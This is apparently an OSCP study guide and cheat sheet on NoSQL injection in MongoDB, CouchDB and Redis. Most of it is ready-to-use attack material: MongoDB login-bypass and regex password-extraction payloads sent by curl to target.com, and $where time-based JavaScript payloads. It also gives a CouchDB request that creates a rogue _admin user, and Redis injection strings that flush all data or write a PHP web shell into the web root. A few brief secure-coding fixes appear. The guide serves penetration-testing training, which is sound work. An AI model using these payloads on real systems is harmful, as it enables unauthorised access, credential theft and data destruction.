NoSQL Injection Basics
Table of Contents
- What is NoSQL Injection
- MongoDB Injection
- NoSQL Injection Operators Reference
- Detection Methods
- CouchDB Injection
- Redis Injection
- OSCP Relevance
1. What is NoSQL Injection
1.1 Definition
NoSQL Injection is a class of injection attacks targeting NoSQL databases (such as MongoDB, CouchDB, Redis, and Cassandra). Unlike traditional SQL injection, which exploits the SQL query language, NoSQL injection exploits the query operators and data structures native to NoSQL databases — most commonly JSON/BSON operators prefixed with $.
1.2 NoSQL vs Traditional SQLi — Key Differences
| Aspect | Traditional SQLi | NoSQL Injection |
|---|---|---|
| Query Language | SQL (text-based, declarative) | JSON/BSON objects, driver-specific APIs |
| Injection Vector | String concatenation into SQL queries | Object property injection via JSON deserialization |
| Operators | OR 1=1, UNION SELECT, -- |
$ne, $gt, $regex, $where |
| Data Format | Relational tables (rows/columns) | Documents (JSON-like), key-value, wide-column |
| Typical Entry Point | URL params, form fields, headers | JSON request bodies, API parameters |
| Blind Variants | Boolean-based, time-based | Boolean-based via operator responses |
| Code Pattern | query = "SELECT * FROM users WHERE name='" + input + "'" |
db.users.find({ username: req.body.username, password: req.body.password }) |
1.3 Why NoSQL Injection is Different
The fundamental difference lies in how the query is constructed:
Traditional SQLi — The attacker injects SQL syntax into a string that gets concatenated and executed:
-- Vulnerable code
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
-- Attacker input: admin' OR '1'='1
-- Resulting query:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='...'
NoSQL Injection — The attacker injects JSON object properties that the database driver interprets as query operators:
// Vulnerable code
db.users.find({ username: req.body.username, password: req.body.password })
// Attacker sends JSON body:
{
"username": { "$ne": null },
"password": { "$ne": null }
}
// MongoDB interprets this as:
// Find users WHERE username != null AND password != null
// This matches ANY user with non-null fields — effectively bypassing auth
The critical insight: NoSQL injection doesn’t break out of a string — it injects object properties that become query operators.
1.4 Targeted Databases
| Database | Type | Injection Mechanism | OSCP Relevance |
|---|---|---|---|
| MongoDB | Document (BSON/JSON) | $ operator injection via JSON |
High — Most common in labs |
| CouchDB | Document (JSON) | View injection, $where in map functions |
Low-Medium |
| Redis | Key-Value | Command injection via crafted keys/values | Low |
| Cassandra | Wide-Column | CQL injection (similar to SQLi) | Low |
1.5 Common Vulnerable Frameworks
| Framework | Language | Vulnerable Pattern |
|---|---|---|
| Node.js + Express + MongoDB (Native) | JavaScript | Direct find() with user input |
| Node.js + Express + Mongoose | JavaScript | Unsanitized query objects |
| Python + Flask + PyMongo | Python | collection.find(request.json) |
| Python + Django + Djongo | Python | Raw query passthrough |
| PHP + MongoDB Extension | PHP | ->find($_POST) |
2. MongoDB Injection
MongoDB is the most commonly targeted NoSQL database in penetration testing and the OSCP exam. Understanding MongoDB injection is essential.
2.1 How MongoDB Queries Work
MongoDB uses BSON (Binary JSON) for queries. A typical query looks like:
// Find a user by username and password
db.users.find({ username: "admin", password: "secret123" })
// This is equivalent to SQL:
// SELECT * FROM users WHERE username = 'admin' AND password = 'secret123'
The vulnerability arises when user input is passed directly into the query object:
// VULNERABLE — user input directly in query
app.post('/login', function(req, res) {
db.users.find({
username: req.body.username,
password: req.body.password
}, function(err, doc) {
if (doc) {
res.send('Login successful');
} else {
res.send('Login failed');
}
});
});
When the application receives a JSON body and passes it directly to find(), the attacker can send objects instead of strings, which MongoDB interprets as query operators.
2.2 Authentication Bypass
2.2.1 $ne Operator Bypass (Most Common)
The $ne (not equal) operator is the most powerful and commonly used NoSQL injection technique for authentication bypass.
How it works:
When the attacker sends:
{
"username": { "$ne": null },
"password": { "$ne": null }
}
The application constructs the query:
db.users.find({
username: { "$ne": null },
password: { "$ne": null }
})
MongoDB interprets this as: “Find all users where username is NOT null AND password is NOT null” — which matches every user in the database that has these fields populated.
Why this bypasses authentication:
- The application checks
if (doc)— if ANY document is returned, login succeeds - Since all users have non-null username and password, the query returns the first user (often
admin) - The attacker is authenticated as that user
URL-encoded POST body version:
When sending via HTTP POST with application/x-www-form-urlencoded:
username%5B%24ne%5D=&password%5B%24ne%5D=
This decodes to:
username[$ne]=&password[$ne]=
Which Express/body-parser converts to:
{
"username": { "$ne": "" },
"password": { "$ne": "" }
}
Curl example:
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
2.2.2 $gt Operator Bypass
The $gt (greater than) operator can also bypass authentication:
{
"username": { "$gt": "" },
"password": { "$gt": "" }
}
This means: “Find users where username > ‘’ AND password > ‘’” — any non-empty string is greater than an empty string, so this also matches all users.
URL-encoded version:
username%5B%24gt%5D=&password%5B%24gt%5D=
2.2.3 Complete Authentication Bypass Payloads
| Technique | JSON Payload | URL-Encoded Payload |
|---|---|---|
$ne null |
{"username":{"$ne":null},"password":{"$ne":null}} |
username%5B%24ne%5D=&password%5B%24ne%5D= |
$ne empty |
{"username":{"$ne":""},"password":{"$ne":""}} |
username%5B%24ne%5D=&password%5B%24ne%5D= |
$gt empty |
{"username":{"$gt":""},"password":{"$gt":""}} |
username%5B%24gt%5D=&password%5B%24gt%5D= |
$gte empty |
{"username":{"$gte":""},"password":{"$gte":""}} |
username%5B%24gte%5D=&password%5B%24gte%5D= |
2.2.4 Prototype Pollution Approach
In JavaScript environments, prototype pollution can be exploited to achieve authentication bypass. If the application merges user input into an object using unsafe methods (like recursive extend or assign), the attacker can pollute the Object.prototype:
{
"__proto__": {
"isAdmin": true
}
}
Or targeting the password check:
{
"__proto__": {
"password": "anything"
}
}
This modifies the prototype chain so that all objects inherit the polluted properties. If the auth check does user.password === input.password, and user doesn’t have a password property, it falls back to Object.prototype.password which the attacker set.
Note: This requires the application to use vulnerable object merging patterns. It’s less common in OSCP but worth knowing.
2.2.5 The Vulnerable Code Pattern — Deep Dive
Here is the exact vulnerable pattern you will see in OSCP labs:
// VULNERABLE CODE — This is what you're exploiting
const express = require('express');
const MongoClient = require('mongodb').MongoClient;
const app = express();
app.use(express.json()); // Parses JSON body
app.use(express.urlencoded({ extended: true })); // Parses URL-encoded body
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
// VULNERABLE: User input passed directly into query object
db.collection('users').find({
username: username,
password: password
}).toArray((err, results) => {
if (results.length > 0) {
res.json({ success: true, message: 'Login successful', token: '...' });
} else {
res.json({ success: false, message: 'Invalid credentials' });
}
});
});
How the injection flows:
Step 1: Attacker sends POST body:
{"username": {"$ne": null}, "password": {"$ne": null}}
Step 2: express.json() parses this into req.body:
req.body = {
username: { "$ne": null },
password: { "$ne": null }
}
Step 3: Code passes req.body.username and req.body.password directly:
db.collection('users').find({
username: { "$ne": null }, // ← This is an OBJECT, not a string
password: { "$ne": null } // ← MongoDB sees this as an operator
})
Step 4: MongoDB executes:
"Find all documents where username ≠ null AND password ≠ null"
Step 5: Query returns the first matching user (e.g., admin)
Step 6: Application sees results.length > 0 → Login successful
The secure version would use parameterized queries or validate input types:
// SECURE — Type checking prevents object injection
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
// SECURE — Using $eq explicitly
db.collection('users').find({
username: { $eq: username },
password: { $eq: password }
}).toArray(...)
2.3 Data Extraction
Once you’ve confirmed NoSQL injection is possible, you can extract data from the database.
2.3.1 $regex Operator for Data Extraction
The $regex operator allows pattern matching on string fields. This is the primary technique for extracting data character by character.
Basic regex query:
{
"username": "admin",
"password": { "$regex": "^a" }
}
This returns documents where the password starts with ‘a’.
Character-by-character extraction:
// Does password start with 'a'?
{ "username": "admin", "password": { "$regex": "^a" } }
// Does password start with 'ab'?
{ "username": "admin", "password": { "$regex": "^ab" } }
// Does password start with 'abc'?
{ "username": "admin", "password": { "$regex": "^abc" } }
// Continue until the full password is revealed...
{ "username": "admin", "password": { "$regex": "^abc123" } }
How to determine if a match was found:
- In-band: The application returns the data directly
- Boolean-based: The application returns different responses for success/failure (e.g., “Login successful” vs “Invalid credentials”)
- Time-based: Use
$wherewith sleep (see below)
Curl examples for character extraction:
# Test if password starts with 'a'
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^a"}}'
# Test if password starts with 'ab'
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^ab"}}'
# Test if password starts with 'abc'
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^abc"}}'
Extracting other fields:
// Extract email field character by character
{ "username": "admin", "email": { "$regex": "^a" } }
{ "username": "admin", "email": { "$regex": "^ad" } }
{ "username": "admin", "email": { "$regex": "^adm" } }
// Extract any field you know exists
{ "username": "admin", "role": { "$regex": "^a" } }
2.3.2 $gt / $lt Range-Based Extraction
You can also use comparison operators to narrow down values:
// Is the password > "m"? (lexicographic comparison)
{ "username": "admin", "password": { "$gt": "m" } }
// Is the password < "n"?
{ "username": "admin", "password": { "$lt": "n" } }
// Binary search approach:
// If password > "m" → true, password > "n" → false
// Password starts with a letter between 'm' and 'n' → likely 'm'
This is essentially a binary search on the password space, which is more efficient than character-by-character for certain scenarios.
2.3.3 Extracting Database Structure
// Check if a field exists using $exists
{ "username": { "$ne": null }, "api_key": { "$exists": true } }
// Check if a collection has many documents
{ "username": { "$regex": ".*" } } // Returns all users
2.4 Command Injection via JavaScript Execution
2.4.1 $where Operator — JavaScript Execution
The $where operator allows executing arbitrary JavaScript within MongoDB queries. This is the most dangerous NoSQL injection vector.
Basic $where syntax:
{
"$where": "this.username == 'admin'"
}
The this keyword refers to the current document being evaluated.
Arbitrary JavaScript execution:
{
"$where": "this.password.match(/^.*/)"
}
Remote Code Execution (RCE) via $where:
In older MongoDB versions and certain driver configurations, you can execute system commands:
{
"$where": "function() { return java.lang.Runtime.getRuntime().exec('id').getText() }"
}
For MongoDB running on JavaScript engine (MongoDB 3.2+ uses SpiderMonkey):
{
"username": {
"$where": "this.password.match(/^(.*)$/)"
}
}
Time-based blind extraction with $where:
{
"$where": "sleep(5000) || true"
}
If the response is delayed by 5 seconds, the injection is confirmed.
Extracting data with $where:
{
"$where": "this.password.startsWith('a') ? sleep(2000) : false"
}
If the response is delayed, the password starts with ‘a’.
2.4.2 Aggregation Pipeline Injection
MongoDB’s aggregation framework can also be exploited if user input reaches the pipeline:
// If user input reaches the aggregation pipeline:
db.users.aggregate([
{ $match: userInput }, // VULNERABLE if userInput is controlled
{ $project: { username: 1, password: 1 } }
])
An attacker could inject stages:
[
{ "$match": { "username": "admin" } },
{ "$project": { "username": 1, "password": 1, "_id": 0 } }
]
2.5 Complete MongoDB Injection Cheat Sheet
┌─────────────────────────────────────────────────────────────────┐
│ MONGODB NOSQL INJECTION CHEAT SHEET │
├──────────────────┬──────────────────────────────────────────────┤
│ Auth Bypass │ {"username":{"$ne":null},"password":{"$ne":null}} │
│ │ {"username":{"$gt":""},"password":{"$gt":""}} │
├──────────────────┼──────────────────────────────────────────────┤
│ URL-Encoded │ username%5B%24ne%5D=&password%5B%24ne%5D= │
├──────────────────┼──────────────────────────────────────────────┤
│ Regex Extract │ {"username":"admin","password":{"$regex":"^a"}} │
│ │ {"username":"admin","password":{"$regex":"^ab"}} │
├──────────────────┼──────────────────────────────────────────────┤
│ Field Exists │ {"username":{"$ne":null},"secret":{"$exists":true}} │
├──────────────────┼──────────────────────────────────────────────┤
│ JS Execution │ {"$where":"this.password.match(/^.*/)" } │
│ Time-Based │ {"$where":"sleep(5000)||true"} │
├──────────────────┼──────────────────────────────────────────────┤
│ Prototype Poll. │ {"__proto__":{"isAdmin":true}} │
└──────────────────┴──────────────────────────────────────────────┘
3. NoSQL Injection Operators Reference
3.1 Complete Operators Table
| Operator | Category | Purpose | Injection Example | SQL Equivalent |
|---|---|---|---|---|
$ne |
Comparison | Not equal | {"field": {"$ne": null}} |
field IS NOT NULL |
$gt |
Comparison | Greater than | {"field": {"$gt": ""}} |
field > '' |
$gte |
Comparison | Greater than or equal | {"field": {"$gte": 0}} |
field >= 0 |
$lt |
Comparison | Less than | {"field": {"$lt": "m"}} |
field < 'm' |
$lte |
Comparison | Less than or equal | {"field": {"$lte": 100}} |
field <= 100 |
$eq |
Comparison | Equal | {"field": {"$eq": "val"}} |
field = 'val' |
$nin |
Comparison | Not in array | {"field": {"$nin": ["a","b"]}} |
field NOT IN ('a','b') |
$in |
Comparison | In array | {"field": {"$in": ["a","b"]}} |
field IN ('a','b') |
$regex |
Pattern | Regex match | {"field": {"$regex": "^a"}} |
field LIKE 'a%' |
$where |
Advanced | JavaScript expression | {"$where": "this.x > 1"} |
N/A (JS execution) |
$exists |
Element | Field exists | {"field": {"$exists": true}} |
field IS NOT NULL |
$type |
Element | Field type check | {"field": {"$type": "string"}} |
N/A |
$mod |
Element | Modulo | {"field": {"$mod": [5, 1]}} |
field % 5 = 1 |
$not |
Logical | Negation | {"field": {"$not": {"$regex": "^a"}}} |
NOT (field LIKE 'a%') |
$nor |
Logical | NOR | {"$nor": [{"a":1},{"b":1}]} |
NOT (a=1 OR b=1) |
$and |
Logical | AND | {"$and": [{"a":1},{"b":1}]} |
a=1 AND b=1 |
$or |
Logical | OR | {"$or": [{"a":1},{"b":1}]} |
a=1 OR b=1 |
3.2 Most Important Operators for OSCP
Focus on these high-priority operators:
$ne — Authentication Bypass King
// Bypasses any authentication check
{ "username": { "$ne": null }, "password": { "$ne": null } }
// Also works with empty string
{ "username": { "$ne": "" }, "password": { "$ne": "" } }
// Works on any field
{ "role": { "$ne": "user" } } // Find non-user roles
$regex — Data Extraction Workhorse
// Character-by-character extraction
{ "password": { "$regex": "^s" } } // Starts with 's'
{ "password": { "$regex": "^se" } } // Starts with 'se'
{ "password": { "$regex": "^sec" } } // Starts with 'sec'
// Contains match
{ "password": { "$regex": "sec.*ret" } } // Contains 'sec' followed by 'ret'
// Case-insensitive (with $options)
{ "password": { "$regex": "^admin", "$options": "i" } }
$where — JavaScript Execution
// Basic JS execution
{ "$where": "this.username == 'admin'" }
// Extract data via JS
{ "$where": "this.password.length > 8" }
// Time-based blind
{ "$where": "sleep(3000) || true" }
// Conditional extraction
{ "$where": "this.password.startsWith('admin') ? sleep(2000) : false" }
$exists — Schema Discovery
// Check if a field exists in any document
{ "api_key": { "$exists": true } }
{ "ssn": { "$exists": true } }
{ "credit_card": { "$exists": true } }
// Combined with auth bypass
{ "username": { "$ne": null }, "api_key": { "$exists": true } }
3.3 Operator Injection in Different Contexts
In Login Forms
// POST /login
{
"username": { "$ne": null },
"password": { "$ne": null }
}
In Search/Filter Parameters
// GET /api/users?filter={"role":{"$ne":"blocked"}}
// Returns all users except those with role "blocked"
In Update Operations
// If update operations are vulnerable:
{
"username": "admin",
"update": { "$set": { "role": "admin" } }
}
4. Detection Methods
4.1 Manual Testing Payloads
Test these payloads systematically against any application that accepts JSON or form input:
Phase 1: Authentication Bypass Tests
# Test 1: $ne null bypass
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
# Test 2: $gt empty string bypass
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":{"$gt":""},"password":{"$gt":""}}'
# Test 3: URL-encoded $ne bypass
curl -X POST http://target.com/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username%5B%24ne%5D=&password%5B%24ne%5D='
# Test 4: Single field $ne (sometimes only one field needs injection)
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":"anything"}'
Phase 2: Boolean-Based Blind Tests
# Test if username "admin" exists
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"username":{"$eq":"admin"}}'
# Test if a field exists
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"secret_field":{"$exists":true}}'
Phase 3: Data Extraction Tests
# Test if password starts with 'a'
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^a"}}'
# Test if password starts with 'ab'
curl -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^ab"}}'
Phase 4: JavaScript Execution Tests
# Test $where execution
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where":"this.username==\"admin\""}'
# Time-based blind test
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where":"sleep(3000)||true"}'
4.2 NoSQLMap Tool Usage
NoSQLMap is an open-source tool designed to audit and exploit NoSQL injection vulnerabilities.
# Basic usage
nosqlmap -u "http://target.com/login" --data '{"username":"test","password":"test"}' --dblog nosqlmap.log
# Automated exploitation
nosqlmap -u "http://target.com/login" --data '{"username":"test","password":"test"}' --exploit
# Dump all databases and collections
nosqlmap -u "http://target.com/login" --data '{"username":"test","password":"test"}' --dump
# Target specific database
nosqlmap -u "http://target.com/login" --data '{"username":"test","password":"test"}' -d "admin" -t "users"
# Extract specific fields
nosqlmap -u "http://target.com/login" --data '{"username":"test","password":"test"}' -d "admin" -t "users" -f "username,password,email"
# Use request file for complex requests
nosqlmap -r request.txt --exploit
# Boolean-based blind mode
nosqlmap -u "http://target.com/login" --data '{"username":"test","password":"test"}' --technique=B
# Time-based blind mode
nosqlmap -u "http://target.com/login" --data '{"username":"test","password":"test"}' --technique=T
Creating a request file for NoSQLMap:
POST /login HTTP/1.1
Host: target.com
Content-Type: application/json
Accept: application/json
{"username":"test","password":"test"}
Save as request.txt, then:
nosqlmap -r request.txt --exploit
4.3 Response Analysis for NoSQL Injection
| Response Indicator | Meaning |
|---|---|
Different response for {"$ne":null} vs normal input |
NoSQL injection likely present |
| Login success with operator injection | Authentication bypass confirmed |
Response time difference with $where sleep |
Time-based blind injection confirmed |
| Error messages mentioning MongoDB/BSON | Database type confirmed |
Stack trace with MongoError |
MongoDB confirmed, injection possible |
| Same response regardless of input | May be blind injection — use time-based |
Key response patterns to watch for:
Normal login failure: {"success": false, "message": "Invalid credentials"}
Injection success: {"success": true, "message": "Welcome, admin!"}
Injection with $regex: Different response based on regex match
Time-based delay: Response takes 3+ seconds with sleep() in $where
5. CouchDB Injection
CouchDB is a document-oriented NoSQL database that uses JSON for documents and MapReduce views for querying.
5.1 View-Based Injection
CouchDB views are defined using JavaScript map functions. If user input reaches a view query, injection is possible:
// CouchDB view definition
{
"map": "function(doc) { if (doc.type === 'user') emit(doc.username, doc); }"
}
Injection via view query parameters:
# Injecting into the reduce parameter
curl -X GET "http://target.com/db/_view/users?reduce=false&group=true" \
-H "Accept: application/json"
# Injecting JavaScript into view options
curl -X POST "http://target.com/db/_temp_view" \
-H "Content-Type: application/json" \
-d '{
"map": "function(doc) { emit(doc.username, doc.password); }"
}'
5.2 $where in CouchDB
CouchDB supports a _find API (since 2.0) that uses a MongoDB-like query syntax:
{
"selector": {
"username": { "$ne": null },
"password": { "$ne": null }
}
}
The same $ne bypass technique works against CouchDB’s _find endpoint:
curl -X POST "http://target.com/db/_find" \
-H "Content-Type: application/json" \
-d '{
"selector": {
"username": { "$ne": null },
"password": { "$ne": null }
}
}'
5.3 CouchDB Specific Attack Vectors
# Access all documents via _all_docs
curl -X GET "http://target.com/db/_all_docs?include_docs=true"
# Access design documents (may contain sensitive views)
curl -X GET "http://target.com/db/_all_docs?startkey=\"_design/\"&endkey=\"_design0\""
# Exploit weak authentication
curl -X PUT "http://target.com/_users/org.couchdb.user:attacker" \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "attacker",
"password": "password123",
"roles": ["_admin"],
"roles_db": {}
}'
6. Redis Injection
Redis is a key-value store that can be exploited through command injection when user input is concatenated into Redis commands.
6.1 Basic Redis Injection Concepts
Redis uses a simple text-based protocol. Injection occurs when user input is concatenated into Redis commands without sanitization.
Vulnerable pattern:
# VULNERABLE Python code
import redis
r = redis.Redis(host='localhost', port=6379)
def get_user(user_id):
# User input concatenated directly into command
key = "user:" + user_id # VULNERABLE
return r.get(key)
6.2 Redis Injection Techniques
Command Injection via Newlines
# Attacker input: admin\nSET injected_key malicious_value\n
# Resulting Redis commands:
GET user:admin
SET injected_key malicious_value
GET (empty key)
Payload examples:
# Overwrite a key
admin\x0aset config:admin_email attacker@evil.com\x0a
# Flush all data (destructive)
admin\x0aflushall\x0a
# Write to filesystem (if configured)
admin\x0aconfig set dir /var/www/html\x0aconfig set dbfilename shell.php\x0aset payload "<?php system(\$_GET['cmd']); ?>"\x0asave\x0a
Redis as a File Write Vector
# Connect to Redis
redis-cli
# Configure Redis to write to a specific directory
CONFIG SET dir /var/www/html
CONFIG SET dbfilename backdoor.php
# Set a key with PHP webshell content
SET payload "<?php system(\$_GET['cmd']); ?>"
# Save to disk
SAVE
6.3 Redis Authentication Bypass
If Redis has weak or no authentication:
# Try connecting without auth
redis-cli -h target.com -p 6379
# Try common weak passwords
redis-cli -h target.com -p 6379 -a "password"
redis-cli -h target.com -p 6379 -a "redis"
redis-cli -h target.com -p 6379 -a "123456"
# Dump all keys
KEYS *
# Get specific data
GET user:admin
HGETALL user:admin:profile
7. OSCP Relevance
7.1 How Often NoSQL Injection Appears in OSCP
NoSQL injection appears in several OSCP lab machines and has appeared in exam machines. While not as common as traditional SQLi, it is a recurring theme that you should be prepared for.
Expected frequency:
- Lab machines: 3-5 machines with NoSQL injection components
- Exam machines: Possible on 1-2 machines
- Difficulty: Usually medium difficulty — the injection point is often obvious once you identify the technology stack
7.2 What to Know for the Exam
Must-know techniques (priority order):
-
$neauthentication bypass — This is the #1 technique. Know it cold.{"username":{"$ne":null},"password":{"$ne":null}} -
URL-encoded operator injection — Know how to encode for form submissions:
username%5B%24ne%5D=&password%5B%24ne%5D= -
$regexdata extraction — Know how to extract passwords character by character:{"username":"admin","password":{"$regex":"^a"}} -
Identifying NoSQL vs SQLi — Know the signs:
- JSON request/response bodies
- MongoDB error messages
- Node.js/Express stack traces
- BSON-related errors
-
NoSQLMap basics — Know how to run it:
nosqlmap -u "http://target/login" --data '{"username":"test","password":"test"}' --exploit
Nice-to-know:
$whereJavaScript execution- Prototype pollution
- CouchDB
_findinjection - Redis command injection
7.3 Step-by-Step OSCP Approach
When you encounter a web application that might use NoSQL:
Step 1: Identify the technology stack
- Check response headers (X-Powered-By: Express)
- Look for MongoDB error messages
- Check for JSON API endpoints
Step 2: Test for authentication bypass
- Send {"username":{"$ne":null},"password":{"$ne":null}}
- If login succeeds → NoSQL injection confirmed
Step 3: Enumerate data
- Use $regex to extract passwords character by character
- Use $exists to discover fields
- Use $ne on other fields to find more data
Step 4: Escalate
- Use extracted credentials to access admin panels
- Look for SSRF, command injection, or other vulnerabilities
- Pivot to internal network access
Step 5: Document
- Screenshot the injection
- Record the payloads used
- Document the extracted data
7.4 Practice Resources
| Resource | Description |
|---|---|
| PortSwigger Web Security Academy | Free NoSQL injection labs (lab 1, 2, 3) |
| OWASP WebGoat | Contains NoSQL injection lessons |
| DVWA (Damn Vulnerable Web App) | Has NoSQL injection challenges |
| NoSQLi Lab (GitHub) | Dedicated NoSQL injection practice environment |
| HackTheBox | Machines like “TraceyBootstrap” and others with NoSQLi |
| TryHackMe | “NoSQL Injection” room |
| PentesterLab | Pro exercises include NoSQL injection |
7.5 PortSwigger Labs (Recommended)
- NoSQL injection, administrator credentials known — Practice
$nebypass - NoSQL injection with unknown authentication bypass — Practice blind techniques
- NoSQL injection in JavaScript code — Practice
$whereinjection
Access at: https://portswigger.net/web-security/nosql-injection
Quick Reference Card
╔══════════════════════════════════════════════════════════════════╗
║ NOSQL INJECTION QUICK REFERENCE ║
╠══════════════════════════════════════════════════════════════════╣
║ ║
║ AUTH BYPASS: ║
║ JSON: {"username":{"$ne":null},"password":{"$ne":null}} ║
║ URL: username%5B%24ne%5D=&password%5B%24ne%5D= ║
║ ║
║ DATA EXTRACTION: ║
║ {"username":"admin","password":{"$regex":"^a"}} ║
║ {"username":"admin","password":{"$regex":"^ab"}} ║
║ {"username":"admin","password":{"$regex":"^abc"}} ║
║ ║
║ FIELD DISCOVERY: ║
║ {"username":{"$ne":null},"api_key":{"$exists":true}} ║
║ ║
║ JS EXECUTION: ║
║ {"$where":"this.password.match(/^.*/)" } ║
║ {"$where":"sleep(3000)||true"} ║
║ ║
║ TOOLS: ║
║ nosqlmap -u URL --data 'PAYLOAD' --exploit ║
║ ║
╚══════════════════════════════════════════════════════════════════╝
Summary
NoSQL injection is a critical web application attack vector that differs fundamentally from traditional SQL injection. Instead of injecting query syntax into strings, the attacker injects JSON object properties that the NoSQL database driver interprets as query operators.
Key takeaways:
- The
$neoperator is the most common and effective authentication bypass technique - The
$regexoperator enables character-by-character data extraction - The
$whereoperator can execute arbitrary JavaScript in MongoDB - NoSQLMap is the primary automated tool for NoSQL injection testing
- Understanding the difference between string-based SQLi and object-based NoSQLi is crucial
- For OSCP, master the
$nebypass and$regexextraction — these are the most tested techniques
Remember: The vulnerability exists because the application passes user input directly into the query object without type validation or sanitization. The fix is to validate that inputs are strings (not objects) and to use explicit $eq comparisons.